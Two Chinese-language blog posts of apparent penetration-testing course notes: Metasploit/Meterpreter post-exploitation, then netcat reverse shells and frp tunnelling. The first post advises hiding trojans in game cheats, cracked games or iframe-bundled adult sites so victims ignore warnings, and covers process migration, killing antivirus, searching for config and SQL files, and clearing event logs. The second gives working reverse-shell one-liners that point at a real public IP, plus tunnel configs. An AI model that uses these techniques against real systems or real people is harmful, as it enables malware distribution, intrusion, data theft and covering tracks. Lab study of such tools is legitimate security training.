&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/f8448e3bd0-image-20231216152459334.png&quot; alt=&quot;image-20231216152459334&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这只是加了一层皮而已&lt;/p&gt;
&lt;p&gt;又或者&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;写一个程序-&amp;gt;内置html iframes-&amp;gt;通过这个标签引用别人的网页(小黄网)-&amp;gt;捆绑木马-&amp;gt;别人点进去就会无视风险继续安装&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2、木马伪装&lt;/h4&gt;
&lt;p&gt;​	一般来说，QQ.exe这种生成的木马文件很容易被杀掉，除非让对方把它放进白名单，那把木马注入到什么合适呢？&lt;strong&gt;外挂软件和破解游戏&lt;/strong&gt;！玩家肯定会无视风险继续打开执行或者直接放进白名单，就给了我们可乘之机&lt;/p&gt;
&lt;h4&gt;3、后渗透&lt;/h4&gt;
&lt;p&gt;​	注意meterpreter是向下兼容shell的，比如说我们通过&lt;strong&gt;shell&lt;/strong&gt;的命令可以直接进入到对方的shell中&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/c3baea93da-image-20231216153617357.png&quot; alt=&quot;image-20231216153617357&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里有？？？？，证明这里有乱码，此时要怎么解决？&lt;/p&gt;
&lt;p&gt;--&amp;gt;因为windows的编码是GBK系列下的GB2312，那我们Linux是什么编码？UTF-8&lt;/p&gt;
&lt;p&gt;在这里要更改编码的话要记住编码的序号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#切换编码的方法

GBK：936

UTF-8:65001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那怎么使用呢？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;chcp 65001&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/30db71c7cd-image-20231216154000122.png&quot; alt=&quot;image-20231216154000122&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这下就更改成Linux的编码uft-8了，此时就显示正常&lt;/p&gt;
&lt;p&gt;退出shell控制就是&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;exit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/0fc2eeb5e2-image-20231216154327530.png&quot; alt=&quot;image-20231216154327530&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;1.进程迁移&lt;/h5&gt;
&lt;p&gt;拿到meterpreter一般我们第一时间会做一个事情就是&lt;strong&gt;进程迁移&lt;/strong&gt;，用来&lt;strong&gt;保命&lt;/strong&gt;，不至于刚连上不久就被断开&lt;/p&gt;
&lt;p&gt;我们现在来查看一下当前在windows上的木马进程的pid为多少&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;getpid&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/82843f5c54-image-20231216154347353.png&quot; alt=&quot;image-20231216154347353&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们可以看到我们的进程号是4436&lt;/p&gt;
&lt;p&gt;我们查看一下windows的所有进程&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ps&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/8eae475696-image-20231216154515077.png&quot; alt=&quot;image-20231216154515077&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/378dd3bbe4-image-20231216154503039.png&quot; alt=&quot;image-20231216154503039&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为我们当前的shell是运行在我们QQ.exe上的，如果别人把这个shell(QQ.exe)结束进程，我们的连接shell就会断开，那进程迁移是什么呢？把我们当前的这个木马进程迁移到其他程序之中，才完成一个防止突然暴毙的效果，很有可能你的木马没有进行任何伪装，打开来什么都没有，有点电脑经验的就会打开任务管理器把这个进程杀掉了，为了避免这种情况就出现了进程迁移，它的使用方法也非常简单&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用migrate这个命令，我们来看看它所需要的参数和必选项&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;migrate pid&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/6656ce6569-image-20231216155114481.png&quot; alt=&quot;image-20231216155114481&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt; &amp;gt;尖括号表示必选项

[ ]方括号表示可选项

| 管道符表示或者

这句话就是表示migrate可以直接跟上pid或者-P pid或者-N 直接输入name，那就意味着migrate这个命令必须跟上一个进程号，后面进程迁移的超时时间-t是可选项，所以可有可无啊

一般来说进程迁移的迁移到对方不会关闭的进程会好一点
譬如:系统进程(不一定百分百能迁移进去，有时候迁移的时候shell会断开)、文件资源管理器等

最好多弄几个sessions后再进行迁移这样比较保险
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看一看任务管理器的pid【5160/6428】&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/f2669e8820-image-20231216161258565.png&quot; alt=&quot;image-20231216161258565&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再到windows10对照一下，发现没有问题&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/c140328871-image-20231216161126794.png&quot; alt=&quot;image-20231216161126794&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;那我们开始迁移一下看看&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;migrate 5160&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/35395ca345-image-20231216161456964.png&quot; alt=&quot;image-20231216161456964&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到迁移成功&lt;/p&gt;
&lt;h5&gt;2、自动进程迁移&lt;/h5&gt;
&lt;p&gt;一开始提到的post模块就是后渗透模块&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;run post/windows/manage/migrate&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/853ef84239-image-20231216160245167.png&quot; alt=&quot;image-20231216160245167&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/cb9d5e613f-image-20231216160401187.png&quot; alt=&quot;image-20231216160401187&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们并没有打开记事本，但它有个记事本，它迁移的原理很简单，打开一个记事本，自己创建一个记事本的进程然后移进去并转移到后台&lt;/p&gt;
&lt;h5&gt;2、信息收集&lt;/h5&gt;
&lt;h6&gt;1.系统信息收集&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;sysinfo&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/433608a23d-image-20231216162014832.png&quot; alt=&quot;image-20231216162014832&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里可以看见系统架构信息&lt;/p&gt;
&lt;h6&gt;2、检查是否为虚拟机&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;run post/windows/gather/checkvm&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/f179e98fb3-image-20231216162205838.png&quot; alt=&quot;image-20231216162205838&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是要注意，如果是虚拟机并不意味着它毫无价值，但是现在很多的服务确实都是跑在虚拟机里面的，但是就是说如果能拿到windows的物理机效果肯定是最好的&lt;/p&gt;
&lt;h6&gt;3、查看当前权限&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;getuid&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/857e664cc0-image-20231216162439850.png&quot; alt=&quot;image-20231216162439850&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;4、关闭杀毒软件&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;run post/windows/manage/killav&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/5c5b3bf62d-image-20231216162722946.png&quot; alt=&quot;image-20231216162722946&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;这种命令跟之前的那个进程注入一样有可能会有风险&lt;strong&gt;会遭到反噬&lt;/strong&gt;，就譬如本来这个木马免杀做得好好的，躲过了360的查杀，但是执行了这条命令&lt;strong&gt;试图杀死360进程的时候被反杀&lt;/strong&gt;了&lt;/p&gt;
&lt;h6&gt;5、查看当前工作路径&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;pwd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/9df1f5d457-image-20231216163042689.png&quot; alt=&quot;image-20231216163042689&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;6、文件搜索&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;search命令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/9cb231a915-image-20231216163523233.png&quot; alt=&quot;image-20231216163523233&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以看到search命令有非常多的参数，这里以搜索c盘下所有txt文件为例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;*&lt;em&gt;search -f &lt;em&gt;.txt c:&lt;/em&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/1f993e3f0f-image-20231216163437150.png&quot; alt=&quot;image-20231216163437150&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;一般搜索搜什么呢？&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;em&gt;search -f config.&lt;/em&gt; c:&lt;/em&gt;*&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;em&gt;search -f conf.&lt;/em&gt; c:&lt;/em&gt;*&lt;/p&gt;
&lt;p&gt;*&lt;em&gt;search -f &lt;em&gt;.sql c:&lt;/em&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h6&gt;7、文件下载&lt;/h6&gt;
&lt;p&gt;注意文件的下载和上传有可能都是&lt;strong&gt;需要高权限的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;download 对方的路径 我们的保存路径&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/54fa76cb31-image-20231216170352297.png&quot; alt=&quot;image-20231216170352297&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到在c盘上我创建了一个文件为1.txt，里面的内容为123&lt;/p&gt;
&lt;p&gt;我们现在要把这个文件下载下来并保存到kali的桌面上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;download c:\1.txt /home/kali/Desktop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/ef42833de6-image-20231216170439492.png&quot; alt=&quot;image-20231216170439492&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是却可以发现kali提示到-&amp;gt;&lt;strong&gt;操作失败:系统找不到指定的文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以猜测是因为系统的权限不够高导致的&lt;/p&gt;
&lt;p&gt;所以将windows10当前用户对c盘的访问权限拉满&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/metasploit-notes/80d5e0345c-image-20231216170636044.png&quot; alt=&quot;image-20231216170636044&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;现在我们再尝试进行下载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;注意内网渗透中，在执行这种操作的时候是非常容易导致你的shell断开或对方服务器崩溃的，所以说内网中的漏洞执行失败是非常正常的一件事情，因为大部分都是基于一个隧道来执行，隧道本来就不是一个很稳定的东西，然后再通过那种栈溢出，溢出的shell去执行就更离谱了，或者攻击对方漏洞的时候是针对对方的内存做操作，那内存稍微改一点点地方就很容易导致蓝屏，所以内网翻车是一件非常正常的事情
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;8、文件上传&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;upload 要上传的文件 对方的路径&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;9、删除日志&lt;/h6&gt;
&lt;p&gt;首尾工作(必须要高权限)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;clearev&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;又或者&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;run event_manager -l	查看日志&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;run event_manager -c	删除日志&lt;/strong&gt;&lt;/p&gt;
&lt;h6&gt;10、help&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; help                                                                                
                                                                                                  
Core Commands                                                                                     
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    migrate       Migrate the server to another process
    pivot         Manage pivot listeners
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    ssl_verify    Modify the SSL certificate verification setting
    transport     Manage the transport mechanisms
    use           Deprecated alias for &quot;load&quot;
    uuid          Get the UUID for the current session
    write         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lmkdir        Create new directory on local machine
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been idle
    keyboard_sen  Send keystrokes
    d
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_star  Start capturing keystrokes
    t
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    m


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;&lt;/h6&gt;
</content:encoded></item><item><title>内网穿透：netcat 与 frp 隧道</title><link>https://wangyi187.top/posts/netcat-frp-tunnel/</link><guid isPermaLink="true">https://wangyi187.top/posts/netcat-frp-tunnel/</guid><description>0x01 netcat&amp;frp 一、netcat 1、netcat介绍 netcat 简称 nc，安全界叫它瑞士军刀。ncat 也会顺便介绍，弥补了 nc 的不足，被叫做 21 世</description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x01 netcat&amp;amp;frp&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、netcat&lt;/h2&gt;
&lt;h3&gt;1、netcat介绍&lt;/h3&gt;
&lt;p&gt;netcat 简称 nc，安全界叫它瑞士军刀。ncat 也会顺便介绍，弥补了 nc 的不足，被叫做 21 世纪的瑞士军刀。nc 的基本功能如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;telnet / 获取系统 banner 信息&lt;/li&gt;
&lt;li&gt;传输文本信息&lt;/li&gt;
&lt;li&gt;传输文件和目录&lt;/li&gt;
&lt;li&gt;加密传输文件&lt;/li&gt;
&lt;li&gt;端口扫描&lt;/li&gt;
&lt;li&gt;远程控制 / 正方向 shell&lt;/li&gt;
&lt;li&gt;流媒体服务器&lt;/li&gt;
&lt;li&gt;远程克隆硬盘&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2、netcat常用参数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;-l： 开启监听&lt;/li&gt;
&lt;li&gt;-p：指定端口&lt;/li&gt;
&lt;li&gt;-t： 以telnet形式应答&lt;/li&gt;
&lt;li&gt;-e：程序重定向&lt;/li&gt;
&lt;li&gt;-n：以数字形式表示ip&lt;/li&gt;
&lt;li&gt;-v：显示执行命令过程&lt;/li&gt;
&lt;li&gt;-z :  不进行交互，直接显示结果&lt;/li&gt;
&lt;li&gt;-u ：使用UDP协议传输&lt;/li&gt;
&lt;li&gt;-w :  设置超时时间&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3、上课思路笔记&lt;/h3&gt;
&lt;p&gt;本次要讲解的是netcat的连接shell功能&lt;/p&gt;
&lt;p&gt;正向shell：控制端主动发起连接去连接被控制端&lt;/p&gt;
&lt;p&gt;反向shell：被控制端主动连接控制端在实战中，大多数采用反向shell，因为正向shell有很多因素导致连接失败，&lt;/p&gt;
&lt;p&gt;比如说硬件设备有防火墙，入侵防御系统等，还有网站防火墙，端口占用，权限不足等场景，特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇，后期攻击相当繁琐。&lt;/p&gt;
&lt;p&gt;反向shell：而被控制端主动向外发送的数据包通常都不会被拦截。&lt;/p&gt;
&lt;h4&gt;1&amp;gt;反向shell&lt;/h4&gt;
&lt;h5&gt;1)要反弹shell的系统为Linux&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;步骤

nc -lvvp 55555 #vps监听   （杭州vps公网ip ：47.96.190.113 ）

-l 监听

-v 显示更多信息 (两个v会更好一点)

-p 端口

没有nc命令的话就在vps上输入 yum -y install nc 先下载一下

#bash

/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/xx.xx.xx.xx/1234 0&amp;gt;&amp;amp;1 #被控端反弹shell

注：tools上的payload有关于反弹shell的相关指令，有些Linux不支持bash，而是用sh，那就把/bin/bash改成/bin/sh即可

xx.xx.xx.xx/1234 : 要反弹shell到哪个vps的ip地址和端口，之前在杭州vps监听55555端口，那就这么写

/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/47.96.190.113/55555 0&amp;gt;&amp;amp;1

又或者这么写

nc 47.96.190.113 55555 -e /bin/bash

没有nc命令的话一样得先yum -y install nc

成功将被攻陷的Linux服务器的shell反弹到自己的vps服务器的shell上
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)要反弹shell的系统为Windows&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在Windows上就无法直接进行一个反弹shell了，只能在被攻陷的Windows服务器上上传一个nc进去，然后nc之间互相进行一个反弹

windows的nc下载地址 ：https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip

在终端输入指令 ： 

#先创建一个文件夹存放下载的压缩包

mkdir netcat

#进入该文件夹

cd netcat

#下载压缩包

curl -o &quot;netcat-win32-1.12.zip&quot; &quot;https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip&quot;

#在当前文件夹解压该压缩包

tar -zxvf netcat-win32-1.12.zip

#显示nc相关参数

nc64.exe -h

步骤

nc -lvvp 55555 #vps监听

(是Windows的vps的话下载完nc后的命令就是把nc改成nc64.exe，其他没变)

nc64.exe 192.168.0.190 55555 -e cmd.exe #反弹shell

192.168.0.190 55555 ： 要反弹到服务端的地址和端口
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;这里在本地之间进行一个反弹shell的操作&lt;/h6&gt;
&lt;p&gt;开两个cmd，其中一个做服务端进行监听，另一个做客户端来反弹自身的shell到服务端&lt;/p&gt;
&lt;p&gt;服务端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc64.exe -lvvp 55555
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/593edd0599-GZpdeilbzKXCW9j.png&quot; alt=&quot;image-20231130095655595&quot; /&gt;&lt;/p&gt;
&lt;p&gt;客户端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc64.exe 127.0.0.1 55555 -e cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/df05808a2a-KMUcZkl2A8Pa9bD.png&quot; alt=&quot;image-20240618224725044&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以在服务端看到客户端的shell成功被反弹过来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/d9d0a8118d-HcvJjn9koYLrige.png&quot; alt=&quot;image-20231130095843104&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;二、frp隧道&lt;/h2&gt;
&lt;h3&gt;1、frp下载&lt;/h3&gt;
&lt;p&gt;https://github.com/fatedier/frp/releases&lt;/p&gt;
&lt;h3&gt;2、frp简介&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。&lt;/li&gt;
&lt;li&gt;可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3、frp部署&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;解压缩下载的压缩包，将其中的 frpc 拷贝到内网服务所在的机器上，&lt;/li&gt;
&lt;li&gt;将 frps 拷贝到具有公网 IP 的机器上，放置在任意目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4、frp优点&lt;/h3&gt;
&lt;p&gt;通过在具有公网 IP 的节点上部署 frp 服务端，可以轻松地将内网服务穿透到公网，同时提供诸多专业的功能特性，这包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。&lt;/li&gt;
&lt;li&gt;采用 TCP 连接流式复用，在单个连接间承载更多请求，节省连接建立时间。&lt;/li&gt;
&lt;li&gt;代理组间的负载均衡。&lt;/li&gt;
&lt;li&gt;端口复用，多个服务通过同一个服务端端口暴露。&lt;/li&gt;
&lt;li&gt;多个原生支持的客户端插件（静态文件查看，HTTP、SOCK5 代理等），便于独立使用 frp 客户端完成某些工作。&lt;/li&gt;
&lt;li&gt;高度扩展性的服务端插件系统，方便结合自身需求进行功能扩展。&lt;/li&gt;
&lt;li&gt;服务端和客户端 UI 页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5、frp原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;frp 主要由 客户端(frpc) 和 服务端(frps) 组成&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;服务端通常部署在具有公网 IP 的机器上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;客户端通常部署在需要穿透的内网服务所在的机器上&lt;/p&gt;
&lt;p&gt;内网服务由于没有公网 IP，不能被非局域网内的其他用户访问&lt;/p&gt;
&lt;p&gt;用户通过访问服务端的 frps，由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器，从而实现通信&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/d8a41856ab-7YG4AUjKZoB9uci.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/9a5757980d-FYOLrokNfcn4XKt.png&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;6、frp作业&lt;/h3&gt;
&lt;h4&gt;1、将端口的流量转发出去&lt;/h4&gt;
&lt;p&gt;将本地端口流量转发出去，此处以将客户端本地的23333端口dvwa转发出去到服务端23331端口为例&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/5ce05cf47b-image-20231130234156902.png&quot; alt=&quot;image-20231130234156902&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;前提：服务端和客户端要能相互ping得通，也就是能互相访问才行&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务端kali-Linux配置&lt;/strong&gt;【ip：192.168.23.130】&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;frps.ini文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[common]
bind_port = 7000       #服务端监听的端口
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/fce82bd635-zSkUN3Jiu4Dvmwb.png&quot; alt=&quot;image-20231130233926206&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入命令 &lt;strong&gt;./frps -c frps.ini&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;客户端Windows10配置&lt;/strong&gt;【ip：192.168.23.129】&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;frpc.ini文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[common]   #这个名字不变
server_addr = 192.168.23.130    #服务端地址
server_port = 7000           #服务端监听的端口

[http_23333]    #名字任取
type = tcp      #协议类型
local_ip = 192.168.23.129    #要转发的本地ip地址（这里也可以直接写127.0.0.1）
local_port = 23333      #要转发的本地端口
remote_port = 23331		#要转发到的服务端的端口

#注：可以同时将多个端口转发，就譬如我再写一个

#[http_23334]  
#type = tcp      
#local_ip = 192.168.23.129  
#local_port = 23334     
#remote_port = 23332	

#这样也同时把客户端本地的23334端口也转发出去到服务端的23332端口，也就是说不止可以写一个，但是转发到服务端的端口不能冲突

